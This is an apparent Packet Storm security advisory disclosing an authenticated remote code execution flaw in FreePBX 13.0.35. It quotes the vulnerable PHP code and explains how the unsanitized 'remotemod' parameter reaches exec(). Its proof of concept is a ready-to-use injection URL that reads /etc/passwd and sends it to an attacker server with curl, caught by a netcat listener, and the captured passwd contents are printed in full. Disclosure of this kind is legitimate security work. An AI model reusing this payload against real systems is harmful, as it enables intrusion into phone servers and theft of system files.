FreePBX 13.0.35 Remote Code Execution

2016-08-25T00:00:00
ID PACKETSTORM:138505
Type packetstorm
Reporter Ahmed Sultan
Modified 2016-08-25T00:00:00

Description

                                        
                                            `Vulnerable software : Freepbx  
Tested version : 13.0.35  
vendor : freepbx.org  
Author : Ahmed sultan (0x4148)  
Email : 0x4148@gmail.com  
  
Summary : FreePBX is a web-based open source GUI (graphical user interface)  
that controls and manages Asterisk (PBX), an open source communication  
server,  
With over 1 MILLION production systems worldwide and 20,000 new systems  
installed monthly,  
the FreePBX community continues to out-perform the industry's commercial  
efforts.  
The FreePBX EcoSystem has developed over the past decade to be the most  
widely deployed open source PBX platform in use across the world.  
  
Vulnerability details :  
Freepbx suffer from (Authenticated) remote code execution flaw  
  
Boring technical stuff  
File : functions.inc.php  
function get_headers_assoc($url) {  
global $amp_conf;  
if ($amp_conf['MODULEADMINWGET']) {  
FreePBX::Curl()->setEnvVariables();  
exec("wget --spider --server-response -q ".$url." 2>&1", $wgetout,  
$exitstatus);  
$headers = array();  
if($exitstatus == 0 && !empty($wgetout)) {  
foreach($wgetout as $value) {  
$ar = explode(':', $value);  
$key = trim($ar[0]);  
if(isset($ar[1])) {  
$value = trim($ar[1]);  
$headers[strtolower($key)] = trim($value);  
}  
the $url is not being sanitized before being passed to the 'exec' function  
which lead to Command execution flaw  
The function is being called at  
File : libraries/modulefunctions.class.php  
Line 1539 : function handledownload($module_location, $progress_callback =  
null) {  
...................................................  
// invoke progress callback  
if (!is_array($progress_callback) && function_exists($progress_callback)) {  
$progress_callback('getinfo', array('module'=>$modulename));  
} else if(is_array($progress_callback) &&  
method_exists($progress_callback[0],$progress_callback[1])) {  
$progress_callback[0]->$progress_callback[1]('getinfo',  
array('module'=>$modulename));  
}  
  
$file = basename($module_location);  
$filename = $amp_conf['AMPWEBROOT']."/admin/modules/_cache/".$file;  
  
// Check each URL until get_headers_assoc() returns something intelligible.  
We then use  
// that URL and hope the file is there, we won't check others.  
-=>>>>>> $headers = get_headers_assoc($module_location);  
if (empty($headers)) {  
return array(sprintf(_('Failed download module tarball from %s, server may  
be down'),$module_location));  
}  
  
the handledownload function is called via the admin panel whenever the  
page.modules.php file is included  
which can be basically done using admin/config.php?display=modules  
  
File : page.modules.php  
Line 174 : switch ($action) {  
..............................  
Line 643 : case 'upload':  
..............................  
Line 658 : $displayvars['processed'] = false;  
if (isset($_REQUEST['upload']) && isset($_FILES['uploadmod']) &&  
!empty($_FILES['uploadmod']['name'])) {  
$displayvars['res'] = $modulef->handleupload($_FILES['uploadmod']);  
$displayvars['processed'] = true;  
} elseif (isset($_REQUEST['download']) && !empty($_REQUEST['remotemod'])) {  
$displayvars['res'] = $modulef->handledownload($_REQUEST['remotemod']);  
$displayvars['processed'] = true;  
} elseif(isset($_REQUEST['remotemod'])) {  
$displayvars['res'][] = 'Nothing to download or upload';  
$displayvars['processed'] = true;  
}  
  
the 'remotemod' parameter is passed to exec function without being  
sanitized , which lead to the mentioned flaw  
POC  
On attacker's side run nc -lvp 8080  
on target's side loginto the panel and then browse to  
http://TARGET/admin/config.php?display=modules&action=upload&download=0x4148&remotemod=http://127.0.0.1/junk%26x=$(cat  
/etc/passwd);curl -d "$x" http://Attacker_server:8080/0x4148.jnk  
  
Result  
[0x4148:/lab]# nc -lvp 8080  
listening on [any] 8080 ...  
DNS fwd/rev mismatch: x.x.x.x != xxxxxx.com  
connect to [ATTACKER] from x.x.x.x.x [Target] 45934  
POST //0x4148.jnk HTTP/1.1  
User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/  
3.16.2.3 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2  
Host: ATTACKER:8080  
Accept: */*  
Content-Length: 1391  
Content-Type: application/x-www-form-urlencoded  
Expect: 100-continue  
  
root:x:0:0:root:/root:/bin/bash  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
adm:x:3:4:adm:/var/adm:/sbin/nologin  
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin  
sync:x:5:0:sync:/sbin:/bin/sync  
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  
halt:x:7:0:halt:/sbin:/sbin/halt  
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin  
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin  
operator:x:11:0:operator:/root:/sbin/nologin  
games:x:12:100:games:/usr/games:/sbin/nologin  
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin  
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin  
nobody:x:99:99:Nobody:/:/sbin/nologin  
dbus:x:81:81:System message bus:/:/sbin/nologin  
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin  
asterisk:x:499:498::/home/asterisk:/bin/bash  
radiusd:x:95:95:radiusd user:/home/radiusd:/sbin/nologin  
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash  
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin  
openvpn:x:498:497:OpenVPN:/etc/openvpn:/sbin/nologin  
ntp:x:38:38::/etc/ntp:/sbin/nologin  
saslauth:x:497:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin  
postfix:x:89:89::/var/spool/postfix:/sbin/nologin  
apache:x:48:48:Apache:/var/www:/sbin/nologin  
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin  
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin  
prosody:x:496:495::/var/lib/prosody:/sbin/nologin  
tcpdump:x:72:72::/:/sbin/nologin  
`